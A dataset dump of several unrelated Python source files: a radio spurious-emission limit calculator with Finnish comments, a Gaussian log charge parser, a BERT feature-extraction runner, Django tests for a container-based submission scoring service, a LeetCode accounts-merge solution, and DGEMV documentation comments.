transform=kuvaaja.transAxes,fontweight='bold')\n plt.show() # tätä ei kutsuta kun ajetaan LabView:stä\n polkuhakemisto_png = str(meas_info.TEKSTI[5]+meas_info.TEKSTI[6]+'.png')\n polkuhakemisto_pdf = str(meas_info.TEKSTI[5] + meas_info.TEKSTI[6] + '.pdf')\n raami.savefig(polkuhakemisto_png)\n raami.savefig(polkuhakemisto_pdf)\n\n\ndef laske_rajat():\n global rajat\n\n rajat_rakenne_init = { 'freq':[1.001,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34], # Python hauskaa 1.001 tai muuten taulukko tyyppiä int\n 'dBm_tx':[-1.001,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34],\n 'dBm_rx':[-1.001,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34]}\n\n rajat=pd.DataFrame(rajat_rakenne_init,index=['7_10','7_11','7_12',\n '47-','74-','87.5-','118-','174-','230-','470-','790-',\n '47+','74+','87.5+','118+','174+','230+','470+','790+',\n '7_13','7_14','7_15','7_25','7_24','7_23','7_22','7_20',\n 'm','n','p',\n 'OCW','fc','F_low_OFB','F_high_OFB'])\n\n OCW = float(meas_info.TEKSTI[7])*0.001 # muunnos kHz --> MHz Operation Channel Width\n #fc = (pointer_f[0]) # fc =keskitaajuus\n fc = float(meas_info.TEKSTI[9]) # Spurious käyttää keskitaajuutena declared arvoa. EI datasta laskettua\n\n print(fc)\n\n F_low_OFB = fc - OCW / 2 # keskitaajuus - OCW /2\n F_high_OFB = fc + OCW / 2 # keskitaajuus + OCW /2\n\n# Lasketaan taajuusalueiden reunapisteiden apuarvot\n rajat.at['OCW', 'freq'] = OCW\n rajat.at['fc', 'freq'] = fc\n rajat.at['F_low_OFB', 'freq'] = F_low_OFB\n rajat.at['F_high_OFB', 'freq'] = F_high_OFB\n\n m = OCW * 10\n if m < 0.5:\n m = 0.5 # ehto max 500kHz\n rajat.at['m','freq'] = m\n \n n = OCW * 4\n if n < 0.1:\n n = 0.1 # ehto max 100kHz\n rajat.at['n', 'freq'] = n\n \n p = OCW * 2.5\n rajat.at['p', 'freq'] = p\n \n \n#300220-1 Figure 7 Lasketaan taajuusalueiden reunapisteiden arvot\n rajat.at['7_10', 'freq'] = 0.009\n rajat.at['7_11', 'freq'] = 0.0150\n rajat.at['7_12', 'freq'] = 30\n rajat.at['7_13', 'freq'] = fc - m\n rajat.at['7_14', 'freq'] = fc - n\n rajat.at['7_15', 'freq'] = fc - p\n rajat.at['7_25', 'freq'] = fc + p\n rajat.at['7_24', 'freq'] = fc + n\n rajat.at['7_23', 'freq'] = fc + m\n rajat.at['7_22', 'freq'] = 1000\n # 7_21 ei olemassa katso application note\n rajat.at['7_20', 'freq'] = 3000\n\n rajat.at['47-', 'freq'] = 47\n rajat.at['74-', 'freq'] = 74\n rajat.at['87.5-', 'freq'] = 87.5\n rajat.at['118-', 'freq'] = 118\n rajat.at['174-', 'freq'] = 174\n rajat.at['230-', 'freq'] = 230\n rajat.at['470-', 'freq'] = 470\n rajat.at['790-', 'freq'] = 790\n\n rajat.at['47+', 'freq'] = 47\n rajat.at['74+', 'freq'] = 74\n rajat.at['87.5+', 'freq'] = 87.5\n rajat.at['118+', 'freq'] = 118\n rajat.at['174+', 'freq'] = 174\n rajat.at['230+', 'freq'] = 230\n rajat.at['470+', 'freq'] = 470\n rajat.at['790+', 'freq'] = 790\n\n #rajat.at['5_10', 'freq'] = freq[0] # datan ensimmäinen piste\n #rajat.at['5_20', 'freq'] = freq[556] #datan viimeinen piste\n\n# 300220-1 Figure 7 Asetaan taajuusalueiden reunapisteiden dBm arvot Tx\n rajat.at['7_10', 'dBm_tx'] = -36\n rajat.at['7_11', 'dBm_tx'] = -54\n rajat.at['7_12', 'dBm_tx'] = -54\n rajat.at['7_13', 'dBm_tx'] = -36\n rajat.at['7_14', 'dBm_tx'] = -36\n rajat.at['7_15', 'dBm_tx'] = -36\n rajat.at['7_25', 'dBm_tx'] = -36\n rajat.at['7_24', 'dBm_tx'] = -36\n rajat.at['7_23', 'dBm_tx'] = -36\n rajat.at['7_22', 'dBm_tx'] = -36\n # 7_21 ei olemassa katso application note\n rajat.at['7_20', 'dBm_tx'] = -30\n\n rajat.at['47-', 'dBm_tx'] = -36\n rajat.at['74-', 'dBm_tx'] = -54\n rajat.at['87.5-', 'dBm_tx'] = -36\n rajat.at['118-', 'dBm_tx'] = -54\n rajat.at['174-', 'dBm_tx'] = -36\n rajat.at['230-', 'dBm_tx'] = -54\n rajat.at['470-', 'dBm_tx'] = -36\n rajat.at['790-', 'dBm_tx'] = -54\n\n rajat.at['47+', 'dBm_tx'] = -54\n rajat.at['74+', 'dBm_tx'] = -36\n rajat.at['87.5+', 'dBm_tx'] = -54\n rajat.at['118+', 'dBm_tx'] = -36\n rajat.at['174+', 'dBm_tx'] = -54\n rajat.at['230+', 'dBm_tx'] = -36\n rajat.at['470+', 'dBm_tx'] = -54\n rajat.at['790+', 'dBm_tx'] = -36\n\n rajat.to_csv(tyohakemisto + \"/5_9_SpuriousRajat.txt\", sep=';')\n\n\"\"\"\nPÄÄOHJELMA\n\"\"\"\n\nhae_data() # tämä välittää funktiolle datacorr datan: dataraw globaalina muuttujana\ndatacorr = AF_C_correlation.AF_C_corr(data_raw) # kutsutaan modulia AF_C_correlation\nlaske_max(datacorr) # laskee mm. signaalin max arvon ja taajuuden. Nämä määritelty globaaleiksi muuttujiksi\nlaske_rajat()#\npiirra() #käyttää laske_max arvoja globaalien muuttujien kautta\n#debug_tiedosto()\n\nprint('DONE')\n","sub_path":"5_9_Spurious1000_6000.py","file_name":"5_9_Spurious1000_6000.py","file_ext":"py","file_size_in_byte":7280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"470531937","text":"import os\nimport cclib\nfrom cclib.method import CSPA, MPA\n\n\ndef main():\n path = \"../LogFiles/\"\n chargeList = []\n for filename in os.listdir(path):\n with open(path + filename) as fp:\n start_store=0\n for line in fp:\n if \"Mulliken charges and spin densities with hydrogens summed into heavy atoms:\" in line:\n start_store=1\n break\n if start_store == 1:\n line = fp.readline() # ignoring line with 1 and 2\n for line in fp:\n parts = line.split()\n if parts[0]=='Electronic': # stopping point\n break\n chargeList += (parts[1], parts[2])\n print(chargeList)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"chargesFromLog.py","file_name":"chargesFromLog.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"465058347","text":"import getopt\nimport os\nimport sys\nimport subprocess\n\n\ndef main(argv):\n list_flag = False\n set_name = ''\n\n # Read command line args\n try:\n opts, args = getopt.getopt(argv, \"ls:\", [\"set_name=\"])\n except getopt.GetoptError:\n print(\"test.py -i \")\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-l':\n list_flag = True\n if opt in (\"-s\", \"--set_name\"):\n set_name = arg\n\n # BERT args\n input_dir = \"swda_data/\"\n output_dir = \"swda_output/BERT_Features/\"\n\n vocab_file = \"BERT_Base/vocab.txt\"\n bert_config_file = \"BERT_Base/bert_config.json\"\n init_checkpoint = \"swda_output/BERT_Base/train/model.ckpt-18038\"\n layers = -1\n max_seq_length = 128\n batch_size = 8\n\n # If running on a list of files\n if list_flag:\n\n # Open file list\n with open(input_dir + set_name + \"_split.txt\") as file_list:\n\n # Set input and create output directories\n input_dir += set_name + \"_utt/\"\n\n output_dir += set_name + \"/\"\n if not os.path.exists(output_dir):\n os.makedirs(output_dir, mode=0o777)\n\n # Run BERT for each file\n for line in file_list:\n\n input_file = input_dir + line.rstrip() + \"_utt.txt\"\n output_file = output_dir + line.rstrip() + \"_encodings.jsonl\"\n\n command_line_args = \"--input_file=\" + input_file + \" \" + \\\n \"--output_file=\" + output_file + \" \" + \\\n \"--vocab_file=\" + vocab_file + \" \" \\\n \"--bert_config_file=\" + bert_config_file + \" \" \\\n \"--init_checkpoint=\" + init_checkpoint + \" \" \\\n \"--layers=\" + str(layers) + \" \" \\\n \"--max_seq_length=\" + str(max_seq_length) + \" \" \\\n \"--batch_size=\" + str(batch_size)\n\n process = subprocess.check_call(\"nice python extract_features.py \" + command_line_args, shell=True)\n \n del process\n\n # Else just run on the full set\n else:\n input_file = input_dir + set_name + \"_set_utt.txt\"\n output_file = output_dir + set_name + \"_set_encodings.jsonl\"\n\n command_line_args = \"--input_file=\" + input_file + \" \" + \\\n \"--output_file=\" + output_file + \" \" + \\\n \"--vocab_file=\" + vocab_file + \" \" \\\n \"--bert_config_file=\" + bert_config_file + \" \" \\\n \"--init_checkpoint=\" + init_checkpoint + \" \" \\\n \"--layers=\" + str(layers) + \" \" \\\n \"--max_seq_length=\" + str(max_seq_length) + \" \" \\\n \"--batch_size=\" + str(batch_size)\n\n os.system(\"python extract_features.py \" + command_line_args)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"BERT_run_extract_features.py","file_name":"BERT_run_extract_features.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"311539749","text":"import os\nimport pathlib\nimport shutil\nimport tempfile\nimport time\nfrom unittest.mock import Mock, patch\n\nimport dask.distributed as dd\nimport pytest\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.management import call_command\nfrom django.db import transaction\n\nfrom core import models\nfrom referee import job_submitter, scoring, tasks\n\n\ndef test_get_submission_run_status_cancel_pending(molfile_molw_config):\n evaluation_statuses = [\n models.Status.SUCCESS,\n models.Status.SUCCESS,\n models.Status.SUCCESS,\n ]\n submission_run = molfile_molw_config.submission_run\n\n submission_run.status = models.Status.CANCEL_PENDING\n submission_run.save(update_fields=[\"status\"])\n\n status = tasks.get_submission_run_status(evaluation_statuses, submission_run.id)\n\n assert status == models.Status.CANCELLED\n\n\n@pytest.mark.django_db(transaction=True)\ndef test_run_and_score_submission(container_engine):\n # This test will fail if run after another transaction=True test\n # See workaround in tests/test_views.py:test_run_submission\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n transaction.commit()\n call_command(\"migrate\", \"core\", \"zero\", verbosity=0, interactive=False)\n call_command(\"migrate\", \"core\", verbosity=0, interactive=False)\n call_command(\"sample_data\")\n transaction.commit()\n\n submission = models.Submission.objects.first()\n os.environ[\"CONTAINER_ENGINE\"] = container_engine\n preload_file = \"daskworkerinit_tst.py\"\n cluster = dd.LocalCluster(n_workers=4, preload=(preload_file))\n dask_client = dd.Client(cluster)\n\n print(submission.id, submission)\n future = tasks.run_and_score_submission(dask_client, submission)\n\n result = future.result()\n\n assert result\n\n\ndef _run_and_check_evaluation(submission_run, evaluation):\n\n temp_dir = pathlib.Path(tempfile.mkdtemp())\n with patch(\"django.conf.settings.CONTAINER_FILES_ROOT\", temp_dir):\n pull_code = tasks.cache_containers(submission_run, True)\n\n pull_code.compute(scheduler=\"synchronous\")\n\n print(pull_code.result())\n\n delayed = tasks.run_evaluation(\n submission_run.submission.id,\n evaluation.id,\n submission_run.id,\n pull_code,\n True,\n )\n delayed.compute(scheduler=\"synchronous\")\n assert submission_run.evaluation_set.count() == 1\n evaluation = submission_run.evaluation_set.get()\n assert (\n evaluation.status == models.Status.SUCCESS\n ), f\"Evaluation failed: {evaluation.log_stdout};; {evaluation.log_stderr}\"\n prediction = models.Prediction.objects.get(\n submission_run=submission_run, input_element=evaluation.input_element\n )\n shutil.rmtree(temp_dir)\n return prediction\n\n\ndef _run_and_check_batch_evaluation(submission_run, batch_evaluation):\n temp_dir = pathlib.Path(tempfile.mkdtemp())\n with patch(\"django.conf.settings.CONTAINER_FILES_ROOT\", temp_dir):\n pull_code = tasks.cache_containers(submission_run, True)\n\n pull_code.compute(scheduler=\"synchronous\")\n\n print(pull_code.result())\n\n delayed = tasks.run_batch_evaluation(\n submission_run.submission.id,\n batch_evaluation.id,\n submission_run.id,\n pull_code,\n True,\n )\n delayed.compute(scheduler=\"synchronous\")\n assert submission_run.batchevaluation_set.count() == 1\n batch_evaluation = submission_run.batchevaluation_set.get()\n assert (\n batch_evaluation.status == models.Status.SUCCESS\n ), f\"Batch evaluation failed: {batch_evaluation.log_stdout};; {batch_evaluation.log_stderr}\"\n elements = list(batch_evaluation.input_batch.elements())\n assert len(elements) == 1\n prediction = models.Prediction.objects.get(\n submission_run=submission_run, input_element=elements[0]\n )\n shutil.rmtree(temp_dir)\n return prediction\n\n\ndef test_run_element_mol(molfile_molw_config, benzene_from_mol, container_engine):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission_run = molfile_molw_config.submission_run\n evaluation = models.Evaluation.objects.create(\n input_element=benzene_from_mol, submission_run=submission_run\n )\n prediction = _run_and_check_evaluation(submission_run, evaluation)\n assert prediction.value == pytest.approx(78.046950192)\n\n\ndef test_run_batch(molfile_molw_config, benzene_from_mol, container_engine):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n challenge = molfile_molw_config.challenge\n challenge.max_batch_size = 2\n challenge.save()\n submission_run = molfile_molw_config.submission_run\n batch_evaluation = models.BatchEvaluation.objects.create(\n input_batch=challenge.current_batch_group().inputbatch_set.first(),\n submission_run=submission_run,\n )\n prediction = _run_and_check_batch_evaluation(submission_run, batch_evaluation)\n assert prediction.value == pytest.approx(78.046950192)\n\n\ndef test_run_element_custom(\n molfile_molw_config, benzene_from_mol, container_arg_factory, container_engine\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission_run = molfile_molw_config.submission_run\n submission = submission_run.submission\n container = submission.container\n container_arg_factory(container, key=\"stringarg\", string_value=\"hello world\")\n container_arg_factory(\n container, key=\"filearg\", file_name=\"example.txt\", file_body=\"Some text\"\n )\n evaluation = models.Evaluation.objects.create(\n input_element=benzene_from_mol, submission_run=submission_run\n )\n with pytest.raises(AssertionError) as excinfo:\n _run_and_check_evaluation(submission_run, evaluation)\n\n assert \"FAILURE\" in str(excinfo.value)\n evaluation.refresh_from_db()\n assert \"error: unrecognized arguments:\" in evaluation.log_stderr\n\n\ndef test_evaluation_scoring_failure(\n molfile_molw_config, benzene_from_mol, container_engine\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission_run = molfile_molw_config.submission_run\n evaluation = models.Evaluation.objects.create(\n input_element=benzene_from_mol, submission_run=submission_run\n )\n temp_dir = pathlib.Path(tempfile.mkdtemp())\n with patch(\"django.conf.settings.CONTAINER_FILES_ROOT\", temp_dir):\n pull_code = tasks.cache_containers(submission_run, True)\n\n with patch(\"referee.scoring.score_element\") as mock_score:\n mock_score.side_effect = scoring.ScoringFailureException(\"Mock failure\")\n delayed = tasks.run_evaluation(\n submission_run.submission.id,\n evaluation.id,\n submission_run.id,\n pull_code,\n True,\n )\n delayed.compute(scheduler=\"synchronous\")\n\n evaluation.refresh_from_db()\n assert evaluation.log_stderr.endswith(\"Mock failure\")\n assert evaluation.status == models.Status.FAILURE\n shutil.rmtree(temp_dir)\n\n\n@pytest.fixture\ndef evaluation_scores(smiles_molw_config, evaluations):\n score_types = smiles_molw_config.challenge.score_types[\n models.ScoreType.Level.EVALUATION\n ]\n\n def _score(evaluation):\n for score_type in score_types.values():\n yield models.EvaluationScore.create(\n score_type=score_type, evaluation=evaluation, value=99.9\n )\n\n return [_score(evaluation) for evaluation in evaluations]\n\n\ndef test_submission_run_scoring_failure(\n smiles_molw_config, evaluations, evaluation_scores, container_engine\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission_run = smiles_molw_config.submission_run\n with patch(\"referee.scoring._score_submission_run\") as mock_score:\n mock_score.side_effect = scoring.ScoringFailureException(\"Mock failure\")\n with pytest.raises(scoring.ScoringFailureException):\n delayed = tasks.check_and_score(\n submission_run.id, True, [models.Status.SUCCESS] * len(evaluations)\n )\n delayed.compute(scheduler=\"synchronous\")\n\n submission_run.refresh_from_db()\n assert submission_run.log_stderr == \"Mock failure\"\n\n\n@pytest.fixture\ndef file_container(challenge_factory, user, db):\n coord_challenge = challenge_factory(\"Coords Challenge\")\n return models.Container.objects.create(\n name=\"CoordGenContainer\",\n user=user,\n challenge=coord_challenge,\n container_type=models.ContainerType.DOCKER,\n registry=\"ghcr.io\",\n label=\"megosato/calc-coords\",\n tag=\"latest\",\n )\n\n\ndef test_run_files(\n file_container,\n elem_factory,\n file_answer_key_factory,\n float_answer_key_factory,\n container_engine,\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n challenge = file_container.challenge\n scoring_container = models.Container.objects.create(\n name=\"subtraction container\",\n user=file_container.user,\n challenge=challenge,\n container_type=models.ContainerType.DOCKER,\n registry=\"ghcr.io\",\n label=\"megosato/score-coords\",\n tag=\"latest\",\n )\n score_maker = models.ScoreMaker.objects.create(\n challenge=challenge, container=scoring_container\n )\n models.ScoreType.objects.create(\n challenge=challenge, key=\"RMSE\", level=models.ScoreType.Level.EVALUATION\n )\n models.ScoreType.objects.create(\n challenge=challenge,\n key=\"Avg RMSE\",\n level=models.ScoreType.Level.SUBMISSION_RUN,\n )\n molfile_type = models.ValueType.objects.create(\n challenge=challenge,\n is_input_flag=True,\n content_type=ContentType.objects.get_for_model(models.FileValue),\n key=\"molfile\",\n description=\"2D input MOL file\",\n )\n coordsfile_type = models.ValueType.objects.create(\n challenge=challenge,\n is_input_flag=False,\n content_type=ContentType.objects.get_for_model(models.FileValue),\n key=\"conformation\",\n description=\"3D output MOL file\",\n )\n molweight_type = models.ValueType.objects.create(\n challenge=challenge,\n is_input_flag=False,\n content_type=ContentType.objects.get_for_model(models.FloatValue),\n key=\"molWeight\",\n description=\"Molecular Weight\",\n )\n\n submission = models.Submission.objects.create(\n name=\"Conformation Submission\",\n user=file_container.user,\n container=file_container,\n challenge=challenge,\n )\n submission_run = models.SubmissionRun.objects.create(\n submission=submission,\n digest=\"cafef00d\",\n is_public=True,\n status=models.Status.PENDING,\n )\n\n benzene_from_mol = elem_factory(\n challenge, molfile_type, \"Benzene\", \"ChEBI_16716.mdl\"\n )\n benzene_answer = file_answer_key_factory(\n challenge, benzene_from_mol, coordsfile_type, \"Conformer3D_CID_241.mdl\"\n )\n molweight_answer = float_answer_key_factory(\n challenge, benzene_from_mol, molweight_type, 78.046950192\n )\n evaluation = models.Evaluation.objects.create(\n input_element=benzene_from_mol, submission_run=submission_run\n )\n temp_dir = pathlib.Path(tempfile.mkdtemp())\n with patch(\"django.conf.settings.CONTAINER_FILES_ROOT\", temp_dir):\n pull_code = tasks.cache_containers(\n submission_run,\n True,\n )\n delayed = tasks.run_evaluation(\n submission_run.submission.id,\n evaluation.id,\n submission_run.id,\n pull_code,\n True,\n )\n delayed.compute(scheduler=\"synchronous\")\n assert submission_run.evaluation_set.count() == 1\n evaluation = submission_run.evaluation_set.get()\n assert evaluation.status == models.Status.SUCCESS\n prediction = models.Prediction.objects.get(\n submission_run=submission_run,\n input_element=evaluation.input_element,\n value_type__key=\"molWeight\",\n )\n assert prediction.value == pytest.approx(78.046950192)\n shutil.rmtree(temp_dir)\n\n\ndef test_cancel_evaluation_before_run(\n molfile_molw_config, benzene_from_mol, container_engine\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission_run = molfile_molw_config.submission_run\n evaluation = models.Evaluation.objects.create(\n input_element=benzene_from_mol, submission_run=submission_run\n )\n temp_dir = pathlib.Path(tempfile.mkdtemp())\n with patch(\"django.conf.settings.CONTAINER_FILES_ROOT\", temp_dir):\n pull_code = tasks.cache_containers(\n submission_run,\n True,\n )\n submission_run.mark_for_cancel()\n delayed = tasks.run_evaluation(\n submission_run.submission.id,\n evaluation.id,\n submission_run.id,\n pull_code,\n True,\n )\n result = delayed.compute(scheduler=\"synchronous\")\n assert result == models.Status.CANCELLED\n evaluation.refresh_from_db()\n assert evaluation.status == models.Status.CANCELLED\n shutil.rmtree(temp_dir)\n\n\ndef test_cancel_submission_before_run(\n molfile_molw_config, benzene_from_mol, container_engine\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission = molfile_molw_config.submission_run.submission\n submission_run = submission.create_run(\n is_public=True, status=models.Status.PENDING\n )\n delayed_conditional = tasks._run(submission_run, True)\n submission.last_public_run().mark_for_cancel()\n result = delayed_conditional.compute(scheduler=\"synchronous\")\n assert result is False\n assert submission.last_public_run().status == models.Status.CANCELLED\n\n\ndef test_cancel_submission_before_run_remote(\n molfile_molw_config, benzene_from_mol, container_engine\n):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n submission = molfile_molw_config.submission_run.submission\n tasks.enqueue_submission(submission)\n submission.last_public_run().mark_for_cancel(remote=True)\n assert submission.last_public_run().status == models.Status.CANCELLED\n\n\n@pytest.mark.django_db(transaction=True)\ndef test_submit_submission_run(client, container_engine):\n with patch(\"django.conf.settings.CONTAINER_ENGINE\", container_engine):\n processes = True\n if processes:\n transaction.commit()\n call_command(\"migrate\", \"core\", \"zero\", verbosity=0, interactive=False)\n call_command(\"migrate\", \"core\", verbosity=0, interactive=False)\n call_command(\"sample_data\")\n transaction.commit()\n else:\n call_command(\"sample_data\")\n\n submission = models.Submission.objects.first()\n tasks.enqueue_submission(submission)\n\n os.environ[\"CONTAINER_ENGINE\"] = container_engine\n preload_file = \"daskworkerinit_tst.py\"\n cluster = dd.LocalCluster(n_workers=4, preload=(preload_file,))\n dask_client = dd.Client(cluster)\n\n for submission_run in models.SubmissionRun.objects.filter(\n status=models.Status.PENDING_REMOTE\n ):\n submission_run.status = models.Status.PENDING\n submission_run.save(update_fields=[\"status\"])\n future = tasks.submit_submission_run(dask_client, submission_run)\n result = future.result()\n print(submission_run.status)\n assert result\n\n\n@pytest.mark.parametrize(\n [\"statuses\", \"expected_status\"],\n [\n ({models.Status.PENDING}, models.Status.FAILURE),\n ({models.Status.RUNNING}, models.Status.FAILURE),\n ({models.Status.CANCELLED}, models.Status.CANCELLED),\n ({models.Status.CANCELLED, models.Status.SUCCESS}, models.Status.CANCELLED),\n ({models.Status.FAILURE}, models.Status.FAILURE),\n ({models.Status.CANCEL_PENDING}, models.Status.FAILURE),\n (set(), models.Status.FAILURE),\n ],\n)\ndef test_get_submission_run_status(molfile_molw_config, statuses, expected_status):\n status = tasks.get_submission_run_status(\n statuses, molfile_molw_config.submission_run.id\n )\n assert status == expected_status\n","sub_path":"app/referee/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":16947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"163400586","text":"#\n# @lc app=leetcode id=721 lang=python3\n#\n# [721] Accounts Merge\n#\n# https://leetcode.com/problems/accounts-merge/description/\n#\n# algorithms\n# Medium (45.44%)\n# Likes: 1062\n# Dislikes: 255\n# Total Accepted: 62.3K\n# Total Submissions: 135.7K\n# Testcase Example: '[[\"John\",\"johnsmith@mail.com\",\"john_newyork@mail.com\"],[\"John\",\"johnsmith@mail.com\",\"john00@mail.com\"],[\"Mary\",\"mary@mail.com\"],[\"John\",\"johnnybravo@mail.com\"]]'\n#\n# Given a list accounts, each element accounts[i] is a list of strings, where\n# the first element accounts[i][0] is a name, and the rest of the elements are\n# emails representing emails of the account.\n# \n# Now, we would like to merge these accounts. Two accounts definitely belong\n# to the same person if there is some email that is common to both accounts.\n# Note that even if two accounts have the same name, they may belong to\n# different people as people could have the same name. A person can have any\n# number of accounts initially, but all of their accounts definitely have the\n# same name.\n# \n# After merging the accounts, return the accounts in the following format: the\n# first element of each account is the name, and the rest of the elements are\n# emails in sorted order. The accounts themselves can be returned in any\n# order.\n# \n# Example 1:\n# \n# Input: \n# accounts = [[\"John\", \"johnsmith@mail.com\", \"john00@mail.com\"], [\"John\",\n# \"johnnybravo@mail.com\"], [\"John\", \"johnsmith@mail.com\",\n# \"john_newyork@mail.com\"], [\"Mary\", \"mary@mail.com\"]]\n# Output: [[\"John\", 'john00@mail.com', 'john_newyork@mail.com',\n# 'johnsmith@mail.com'], [\"John\", \"johnnybravo@mail.com\"], [\"Mary\",\n# \"mary@mail.com\"]]\n# Explanation: \n# The first and third John's are the same person as they have the common email\n# \"johnsmith@mail.com\".\n# The second John and Mary are different people as none of their email\n# addresses are used by other accounts.\n# We could return these lists in any order, for example the answer [['Mary',\n# 'mary@mail.com'], ['John', 'johnnybravo@mail.com'], \n# ['John', 'john00@mail.com', 'john_newyork@mail.com', 'johnsmith@mail.com']]\n# would still be accepted.\n# \n# \n# \n# Note:\n# The length of accounts will be in the range [1, 1000].\n# The length of accounts[i] will be in the range [1, 10].\n# The length of accounts[i][j] will be in the range [1, 30].\n# \n#\n\n# @lc code=start\nfrom collections import defaultdict\nclass Solution:\n def accountsMerge(self, accounts: List[List[str]]) -> List[List[str]]:\n self.father = [i for i in range(len(accounts))]\n email_to_ids = self.get_email_to_id(accounts)\n\n for email, user_ids in email_to_ids.items():\n root_id = user_ids[0]\n for user_id in user_ids[1:]:\n self.union(root_id, user_id)\n \n id_to_email_set = self.get_id_to_email_set(accounts)\n\n result = []\n for user_id, emails in id_to_email_set.items():\n name = accounts[user_id][0]\n result.append([\n name,\n *sorted(emails)\n ])\n\n return result\n\n def get_id_to_email_set(self, accounts):\n id_to_email_set = {}\n for user_id, account in enumerate(accounts):\n root_id = self.find(user_id)\n email_set = id_to_email_set.get(root_id, set())\n for email in account[1:]:\n email_set.add(email)\n id_to_email_set[root_id] = email_set\n \n return id_to_email_set\n\n def get_email_to_id(self, accounts):\n email_to_ids = defaultdict(list)\n for user_id, account in enumerate(accounts):\n for email in account[1:]:\n email_to_ids[email].append(user_id)\n return email_to_ids\n\n def union(self, a, b):\n self.father[self.find(b)] = self.find(a)\n\n def find(self, node):\n root = node\n while self.father[root] != root:\n root = self.father[root]\n while self.father[node] != node:\n temp = node\n node = self.father[node]\n self.father[temp] = root\n return root\n \n\n \n# @lc code=end\n\n","sub_path":"Week_06/G20200343030459/721.accounts-merge.py","file_name":"721.accounts-merge.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"147427941","text":"# > \\brief \\b DGEMV\n#\n# =========== DOCUMENTATION ===========\n#\n# Online html documentation available at\n# http://www.netlib.org/lapack/explore-html/\n#\n# Definition:\n# ===========\n#\n# def DGEMV(TRANS,M,N,ALPHA,A,LDA,X,INCX,BETA,Y,INCY)\n#\n# .. Scalar Arguments ..\n# DOUBLE PRECISION ALPHA,BETA\n# INTEGER INCX,INCY,LDA,M,N\n# CHARACTER TRANS\n# ..\n# .. Array Arguments ..\n# DOUBLE PRECISION A(LDA,*),X(*),Y(*)\n# ..\n#\n#\n# > \\par Purpose:\n# =============\n# >\n# > \\verbatim\n# >\n# > DGEMV performs one of the matrix-vector operations\n# >\n# > y := alpha*A*x + beta*y, or y := alpha*A**T*x + beta*y,\n# >\n# > where alpha and beta are scalars, x and y are vectors and A is an\n# > m by n matrix.\n# > \\endverbatim\n#\n# Arguments:\n# ==========\n#\n# > \\param[in] TRANS\n# > \\verbatim\n# > TRANS is CHARACTER*1\n# > On entry, TRANS specifies the operation to be performed as\n# > follows:\n# >\n# > TRANS = 'N' or 'n' y := alpha*A*x + beta*y.\n# >\n# > TRANS = 'T' or 't' y := alpha*A**T*x + beta*y.\n# >\n# > TRANS = 'C' or 'c' y := alpha*A**T*x + beta*y.\n# > \\endverbatim\n# >\n# > \\param[in] M\n# > \\verbatim\n# > M is INTEGER\n# > On entry, M specifies the number of rows of the matrix A.\n# > M must be at least zero.\n# > \\endverbatim\n# >\n# > \\param[in] N\n# > \\verbatim\n# > N is INTEGER\n# > On entry, N specifies the number of columns of the matrix A.\n# > N must be at least zero.\n# > \\endverbatim\n# >\n# > \\param[in] ALPHA\n# > \\verbatim\n# > ALPHA is DOUBLE PRECISION.\n# > On entry, ALPHA specifies the scalar alpha.\n# > \\endverbatim\n# >\n# > \\param[in] A\n# > \\verbatim\n# > A is DOUBLE PRECISION array, dimension ( LDA, N )\n# > Before entry, the leading m by n part of the array A must\n# > contain the matrix of coefficients.\n# > \\endverbatim\n# >\n# > \\param[in] LDA\n# > \\verbatim\n# > LDA is INTEGER\n# > On entry, LDA specifies the first dimension of A as declared\n# > in the calling (sub) program. LDA must be at least\n# > max( 1, m ).\n# > \\endverbatim\n# >\n# > \\param[in] X\n# > \\verbatim\n# > X is DOUBLE PRECISION array, dimension at least\n# > ( 1 + ( n - 1 )*abs( INCX ) ) when TRANS = 'N' or 'n'\n# > and at least\n# > ( 1 + ( m - 1 )*abs( INCX ) ) otherwise.\n# > Before entry, the incremented array X must contain the\n# > vector x.\n# > \\endverbatim\n# >\n# > \\param[in] INCX\n# > \\verbatim\n# > INCX is INTEGER\n# > On entry, INCX specifies the increment for the elements of\n# > X. INCX must not be zero.\n# > \\endverbatim\n# >\n# > \\param[in] BETA\n# > \\verbatim\n# > BETA is DOUBLE PRECISION.\n# > On entry, BETA specifies the scalar beta. When BETA is\n# > supplied as zero then Y need not be set on input.\n# > \\endverbatim\n# >\n# > \\param[in,out] Y\n# > \\verbatim\n# > Y is DOUBLE PRECISION array, dimension at least\n# > ( 1 + ( m - 1 )*abs( INCY ) ) when TRANS = 'N' or 'n'\n# > and at least\n# > ( 1 + ( n - 1 )*abs( INCY ) ) otherwise.\n# > Before entry with BETA non-zero, the incremented array Y\n# > must contain the vector y. On exit, Y is overwritten by the\n# > updated vector y.\n# > 